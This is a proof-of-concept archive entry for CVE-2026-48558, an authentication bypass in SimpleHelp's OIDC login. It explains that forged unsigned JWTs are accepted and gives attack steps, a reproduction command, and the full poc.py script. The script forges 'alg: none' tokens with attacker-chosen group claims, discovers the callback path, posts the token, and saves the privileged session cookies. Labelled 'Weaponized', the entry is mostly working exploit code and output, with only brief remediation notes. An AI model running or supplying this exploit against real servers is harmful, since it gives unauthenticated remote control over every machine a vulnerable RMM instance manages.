PoC Archive PoC Archive
Critical CVE-2026-48558 patched

SimpleHelp OIDC Authentication Bypass via Unverified JWT Signature (CVE-2026-48558)

by J4ck3LSyN · 2026-07-19

Metadata

FieldValue
Date Added2026-07-19
Last Updated2026-07-19
Author / ResearcherJ4ck3LSyN
CVE / AdvisoryCVE-2026-48558
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
StatusWeaponized — forges valid privileged sessions with no credentials
Tagssimplehelp, rmm, oidc, jwt, alg-none, cwe-347, authentication-bypass, unauthenticated, remote, kev, actively-exploited, ransomware
RelatedN/A

Affected Target

FieldValue
Software / SystemSimpleHelp — remote support / RMM (remote monitoring and management) platform, OIDC authentication flow
Versions Affected5.5.15 and prior; 6.0 pre-release versions
Language / PlatformJava-based server, attacked via crafted HTTP requests to the OIDC callback endpoint
Authentication RequiredNo
Network Access RequiredYes — reachability to a SimpleHelp instance with OIDC authentication configured

Summary

When OIDC (OpenID Connect) authentication is configured on a SimpleHelp server, the server accepts identity tokens (JWTs) submitted during login without verifying their cryptographic signature. A remote, unauthenticated attacker can forge a token containing arbitrary identity claims — including group memberships — and submit it to the OIDC callback endpoint to obtain a fully authenticated, privileged Technician session, in some configurations also bypassing multi-factor authentication. Since SimpleHelp Technician access grants remote control over every managed endpoint, this single forged-token trick can cascade into compromise of an entire fleet of remotely-managed machines — CISA’s KEV listing and third-party incident response reporting confirm this is being actively exploited, including deployment of the “TaskWeaver” Node.js loader and “Djinn Stealer” malware.


Vulnerability Details

Root Cause

Tracked as CWE-347 (Improper Verification of Cryptographic Signature). SimpleHelp’s OIDC token validation logic fails to enforce JWT signature verification — a token with alg: none (no signature at all) or an invalid signature under any algorithm is still accepted. It also insufficiently validates standard claims (iss, aud, exp) in certain flows. When a Technician group is configured with “Allow group authenticated logins,” a forged token merely claiming membership in that group is enough to be granted a fully authenticated Technician session — no actual identity provider interaction, credentials, or valid signature required.

Attack Vector

  1. Identify the target’s OIDC callback endpoint — typically /auth/oidc/callback or one of several similar documented paths.
  2. Forge a JWT with alg: none (or an arbitrary-keyed HS256 token), setting iss/aud to match the server’s configured OIDC settings and groups to include the privileged Technician group name.
  3. POST the forged token as id_token to the discovered callback endpoint.
  4. The server accepts the token without signature verification and establishes an authenticated Technician session — no credentials or valid identity provider round-trip required.

Impact

Complete unauthenticated compromise of a SimpleHelp server’s Technician access, cascading to remote control over every endpoint the RMM instance manages: script execution, credential access, and persistent access across an entire managed fleet. Real-world exploitation has been observed deploying additional malware (TaskWeaver loader, Djinn Stealer) for follow-on access.


Environment / Lab Setup

Target:      SimpleHelp <= 5.5.15 or 6.0 pre-release, with OIDC authentication configured
Attacker:    Python 3 + requests + PyJWT

Setup Steps

1
2
3
python3 -m venv venv
source venv/bin/activate
pip install requests PyJWT

Proof of Concept

See poc.py in this folder — mirrored from J4ck3LSyN-Gen2/CVE-2026-48558. Verified before ingestion: read the full script — it forges alg: none (and optionally HS256) JWTs with attacker-chosen iss/aud/sub/email/groups claims, auto-discovers the real OIDC callback path from a documented candidate list (/auth/oidc/callback, /oauth2/callback/oidc, /servlet/auth/oidc/callback, etc.), and POSTs the forged token, checking the response for session cookies and privileged-access markers. Matches the vendor’s own root-cause description exactly and cross-references Horizon3.ai’s published IOCs and the real observed TaskWeaver/Djinn Stealer post-exploitation chain. One cosmetic issue noted: the README’s warning banner contains a copy-pasted, unrelated line referencing a different CVE (a Chrome sandbox bug) from the same author’s other repository — a sloppy artifact that doesn’t affect the correctness of the actual SimpleHelp exploit logic, which is specific, accurate, and functional.

Step-by-Step Reproduction

1
2
3
4
5
6
7
python3 poc.py -u https://target.example.com \
  -i https://accounts.google.com \
  -a "your-configured-client-id" \
  -s attacker-sub \
  -e attacker@evil.com \
  -n "Evil Technician" \
  -g "Technicians,Admins"

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def create_token(self, iss, aud, sub, email, name, groups=None, extra=None, alg="none"):
    payload = {
        "iss": iss, "aud": aud, "sub": sub, "email": email, "name": name,
        "groups": groups or [], "iat": int(time.time()), "exp": int(time.time()) + 7200,
    }
    header = {"alg": alg, "typ": "JWT"}
    if alg == "none":
        eh = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
        ep = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
        return f"{eh}.{ep}."   # unsigned token — no third segment
    return jwt.encode(payload, "dummy", algorithm=alg)

def exploit(self, iss, aud, sub, email, name, groups=None, token=None):
    if not token:
        token = self.create_token(iss, aud, sub, email, name, groups)
    data = {'id_token': token}
    r = self.session.post(self.callback_url, data=data,
                           headers={'Content-Type': 'application/x-www-form-urlencoded'},
                           allow_redirects=True)
    # checks response cookies/body for technician/dashboard/admin/console markers

Expected Output

[*] Discovering OIDC callback...
[+] Candidate: https://target.example.com/auth/oidc/callback (302)
[*] Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0...
[*] Attacking...
[+] Status: 302
[+] Cookies: ['simplehelp_session']
[+] Likely success
[+] Success!
[+] Cookies saved

Detection & Indicators of Compromise


Remediation

ActionDetail
PatchUpgrade to SimpleHelp 5.5.16 (5.5 branch) or 6.0 RC2+ (6.0 branch).
WorkaroundDisable OIDC authentication entirely until patched, or restrict server access via firewall/VPN/IP allowlisting.
Incident response if already compromisedAudit and remove any unexpected Technician accounts, rotate all managed-endpoint credentials, hunt for TaskWeaver/Djinn Stealer indicators on every managed endpoint.

References


Notes

Surfaced via a 30-day CVE discovery sweep on 2026-07-19, anchored on CISA KEV’s dateAdded field (added 2026-06-29). Verified before ingestion per this archive’s standing rule: read poc.py in full and cross-checked its technique against the vendor’s own root-cause description and Horizon3.ai’s published IOCs — consistent and correct, aside from an unrelated copy-paste artifact in the README’s warning banner (noted above, does not affect the exploit’s validity).

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
CVE-2026-48558 SimpleHelp OIDC Authentication Bypass Proof of Concept

This script demonstrates forging an OIDC ID token to create privileged Technician sessions
on vulnerable SimpleHelp servers (5.5.15 and prior, 6.0 pre-releases) when OIDC auth is enabled.

WARNING: For educational and authorized security testing purposes only.
Do not use against production systems without explicit written permission.
Unauthorized use may violate laws and terms of service.

Vendor patch: SimpleHelp 5.5.16 / 6.0 RC2 (2026-05 security update)
CISA KEV: Yes (active exploitation observed)

Created for responsible disclosure and defensive research.

Author: J4ck3LSyN
[Repo]: https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558
[Sources]: 
    - https://secdb.nttzen.cloud/cve/detail/CVE-2026-48558
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48558
    - https://fedisecfeeds.github.io/#CVE-2026-48558
"""

import argparse, base64, json, sys, time
from urllib.parse import urljoin
import requests
try:
    import jwt
except ImportError:
    print("[-] PyJWT not installed. Installing...");import subprocess;subprocess.check_call([sys.executable, "-m", "pip", "install", "PyJWT"]);import jwt

__author__ = "J4ck3LSyN"

class CVE202648558Exploit:
    def __init__(self, base_url, verify_ssl=True):
        self.base_url = base_url.rstrip('/')
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.callback_url = None
        self.possible_paths = ['/auth/oidc/callback', '/auth/callback/oidc', '/oauth2/callback/oidc', '/oidc/callback', '/auth/auth/oidc/callback', '/servlet/auth/oidc/callback', '/login/oidc/callback', '/auth/oidc']

    def discover_callback(self):
        print("[*] Discovering OIDC callback...")
        for p in self.possible_paths:
            u = urljoin(self.base_url, p)
            try:
                r = self.session.get(u, timeout=8, allow_redirects=False)
                if r.status_code != 404:
                    print(f"[+] Candidate: {u} ({r.status_code})")
                    self.callback_url = u
                    return u
            except:
                pass
        print("[-] Auto-discovery failed.")
        return None

    def set_callback(self, url):
        self.callback_url = url

    def create_token(self, iss, aud, sub, email, name, groups=None, extra=None, alg="none"):
        groups = groups or []
        extra = extra or {}
        payload = {"iss": iss, "aud": aud, "sub": sub, "email": email, "name": name, "groups": groups, "iat": int(time.time()), "exp": int(time.time()) + 7200}
        payload.update(extra)
        header = {"alg": alg, "typ": "JWT"}
        if alg == "none":
            eh = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
            ep = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
            return f"{eh}.{ep}."
        else:
            return jwt.encode(payload, "dummy", algorithm=alg)

    def exploit(self, iss, aud, sub, email, name, groups=None, token=None):
        if not self.callback_url:
            self.discover_callback()
            if not self.callback_url:
                return False, "No callback URL"
        if not token:
            token = self.create_token(iss, aud, sub, email, name, groups)
        print(f"[*] Token: {token[:60]}...")
        data = {'id_token': token}
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        try:
            r = self.session.post(self.callback_url, data=data, headers=headers, timeout=15, allow_redirects=True)
            print(f"[+] Status: {r.status_code}")
            cookies = [c.name for c in r.cookies if any(k in c.name.lower() for k in ['session', 'token', 'auth', 'simplehelp'])]
            if cookies:
                print(f"[+] Cookies: {cookies}")
            txt = r.text.lower()
            if any(k in txt for k in ['technician', 'dashboard', 'admin', 'console']) or (300 <= r.status_code < 400 and any(k in r.headers.get('Location','').lower() for k in ['dashboard','console','admin'])):
                print("[+] Likely success")
                return True, r
            return False, r
        except Exception as e:
            return False, str(e)

def main():
    p = argparse.ArgumentParser(description="CVE-2026-48558 PoC")
    p.add_argument("-u","--url",required=True)
    p.add_argument("--no-verify",action="store_true")
    p.add_argument("-i","--issuer",required=True)
    p.add_argument("-a","--audience",required=True)
    p.add_argument("-s","--subject",required=True)
    p.add_argument("-e","--email",required=True)
    p.add_argument("-n","--name",required=True)
    p.add_argument("-g","--groups",default="")
    p.add_argument("--alg",default="none",choices=["none","HS256"])
    p.add_argument("--callback")
    p.add_argument("--token")
    args = p.parse_args()
    print("=== CVE-2026-48558 SimpleHelp PoC ===")
    exp = CVE202648558Exploit(args.url, not args.no_verify)
    if args.callback:
        exp.set_callback(args.callback)
    else:
        exp.discover_callback()
    groups = [g.strip() for g in args.groups.split(',') if g.strip()]
    token = args.token or exp.create_token(args.issuer, args.audience, args.subject, args.email, args.name, groups, alg=args.alg)
    print("[*] Attacking...")
    success, res = exp.exploit(args.issuer, args.audience, args.subject, args.email, args.name, groups, token)
    if success:
        print("[+] Success!")
        if hasattr(res,'cookies') and res.cookies:
            with open('session.json','w') as f:
                json.dump({c.name:c.value for c in exp.session.cookies},f,indent=2)
            print("[+] Cookies saved")
    else: print("[-] Failed")

if __name__ == "__main__": main()